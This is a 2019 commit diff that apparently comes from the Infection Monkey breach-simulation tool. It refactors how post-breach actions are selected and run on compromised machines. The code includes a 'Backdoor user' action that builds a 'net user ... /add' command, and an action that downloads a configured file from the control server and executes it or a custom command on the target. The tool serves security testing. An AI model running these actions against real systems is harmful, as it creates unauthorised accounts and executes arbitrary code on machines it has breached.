Refactored to automatically check if post breach should run or not

This commit is contained in:
VakarisZ 2019-05-28 17:37:26 +03:00
parent c783b82aac
commit b6523b1d45
4 changed files with 53 additions and 75 deletions

View File

@ -14,12 +14,6 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
'/add', '/ACTIVE:NO']
class BackdoorUser(object):
PBA_NAME = "Backdoor user"
class BackdoorUser(PBA):
def __init__(self):
pass
@staticmethod
def get_pba():
return PBA.default_get_pba(BackdoorUser.PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS)
super(BackdoorUser, self).__init__("Backdoor user", linux_cmd=LINUX_COMMANDS, windows_cmd=WINDOWS_COMMANDS)

View File

@ -1,4 +1,3 @@
import requests
import os
import logging
@ -24,14 +23,44 @@ class UsersPBA(PBA):
"""
Defines user's configured post breach action.
"""
def __init__(self, command="", filename=""):
self.filename = filename
super(UsersPBA, self).__init__("File execution", command)
def __init__(self):
super(UsersPBA, self).__init__("File execution")
self.filename = ''
if not is_windows_os():
# Add linux commands to PBA's
if WormConfiguration.PBA_linux_filename:
if WormConfiguration.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
self.filename = WormConfiguration.PBA_linux_filename
else:
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename)
self.command = DEFAULT_LINUX_COMMAND.format(file_path)
self.filename = WormConfiguration.PBA_linux_filename
elif WormConfiguration.custom_PBA_linux_cmd:
self.command = WormConfiguration.custom_PBA_linux_cmd
else:
# Add windows commands to PBA's
if WormConfiguration.PBA_windows_filename:
if WormConfiguration.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
self.filename = WormConfiguration.PBA_windows_filename
else:
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename)
self.command = DEFAULT_WINDOWS_COMMAND.format(file_path)
self.filename = WormConfiguration.PBA_windows_filename
elif WormConfiguration.custom_PBA_windows_cmd:
self.command = WormConfiguration.custom_PBA_windows_cmd
def _execute_default(self):
UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
if self.filename:
UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
return super(UsersPBA, self)._execute_default()
def should_run(self, class_name):
return self.command
@staticmethod
def download_pba_file(dst_dir, filename):
"""
@ -53,38 +82,3 @@ class UsersPBA(PBA):
except IOError as e:
LOG.error("Can not upload post breach file to target machine: %s" % e)
return False
@staticmethod
def get_pba():
"""
Creates post breach actions depending on users input into 'custom post breach' config section
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
"""
command_pba_name = "Custom command"
if not is_windows_os():
# Add linux commands to PBA's
if WormConfiguration.PBA_linux_filename:
if WormConfiguration.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
return UsersPBA(command, WormConfiguration.PBA_linux_filename)
else:
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename)
command = DEFAULT_LINUX_COMMAND.format(file_path)
return UsersPBA(command, WormConfiguration.PBA_linux_filename)
elif WormConfiguration.custom_PBA_linux_cmd:
return PBA(name=command_pba_name, command=WormConfiguration.custom_PBA_linux_cmd)
else:
# Add windows commands to PBA's
if WormConfiguration.PBA_windows_filename:
if WormConfiguration.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
return UsersPBA(command, WormConfiguration.PBA_windows_filename)
else:
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename)
command = DEFAULT_WINDOWS_COMMAND.format(file_path)
return UsersPBA(command, WormConfiguration.PBA_windows_filename)
elif WormConfiguration.custom_PBA_windows_cmd:
return PBA(name=command_pba_name, command=WormConfiguration.custom_PBA_windows_cmd)

View File

@ -2,7 +2,7 @@ import logging
import subprocess
from infection_monkey.control import ControlClient
from infection_monkey.utils import is_windows_os
from infection_monkey.config import WormConfiguration, GUID
from infection_monkey.config import WormConfiguration
LOG = logging.getLogger(__name__)
@ -14,38 +14,28 @@ class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
def __init__(self, name="unknown", command=""):
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
"""
:param name: Name of post breach action.
:param command: Command that will be executed on breached machine
"""
self.command = command
self.command = PBA.choose_command(linux_cmd, windows_cmd)
self.name = name
@staticmethod
def get_pba():
def get_pba(self):
"""
Should be overridden by all child classes.
This method returns a PBA object based on worm's configuration.
:return: An array of PBA objects.
This method returns a PBA object based on a worm's configuration.
Return None or False if you don't want the pba to be executed.
:return: A pba object.
"""
raise NotImplementedError()
return self
@staticmethod
def default_get_pba(name, pba_class, linux_cmd="", windows_cmd=""):
def should_run(self, class_name):
"""
Default get_pba() method implementation
:param name: PBA name
:param pba_class: class instance. Class's name is matched to config to determine
if corresponding field was enabled in post breach array or not.
:param linux_cmd: commands for linux
:param windows_cmd: commands for windows
:return: post breach action
Decides if post breach action is enabled in config
:return: True if it needs to be ran, false otherwise
"""
if pba_class.__name__ in WormConfiguration.post_breach_actions:
command = PBA.choose_command(linux_cmd, windows_cmd)
if command:
return PBA(name, command)
return class_name in WormConfiguration.post_breach_actions
def run(self):
"""
@ -55,8 +45,7 @@ class PBA(object):
result = exec_funct()
ControlClient.send_telemetry('post_breach', {'command': self.command,
'result': result,
'name': self.name,
'guid': GUID})
'name': self.name})
def _execute_default(self):
"""

View File

@ -1,6 +1,7 @@
import logging
import inspect
import importlib
from infection_monkey.post_breach.pba import PBA
from infection_monkey.post_breach.actions import get_pba_files
from infection_monkey.utils import is_windows_os
@ -41,10 +42,10 @@ class PostBreach(object):
module = importlib.import_module(PATH_TO_ACTIONS + pba_file)
# Get all classes in a module
pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass)
if ((m[1].__module__ == module.__name__) and getattr(m[1], "get_pba", False))]
if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
# Get post breach action object from class
for pba_class in pba_classes:
pba = pba_class.get_pba()
if pba:
pba = pba_class()
if pba.should_run(pba_class.__name__):
pba_list.append(pba)
return pba_list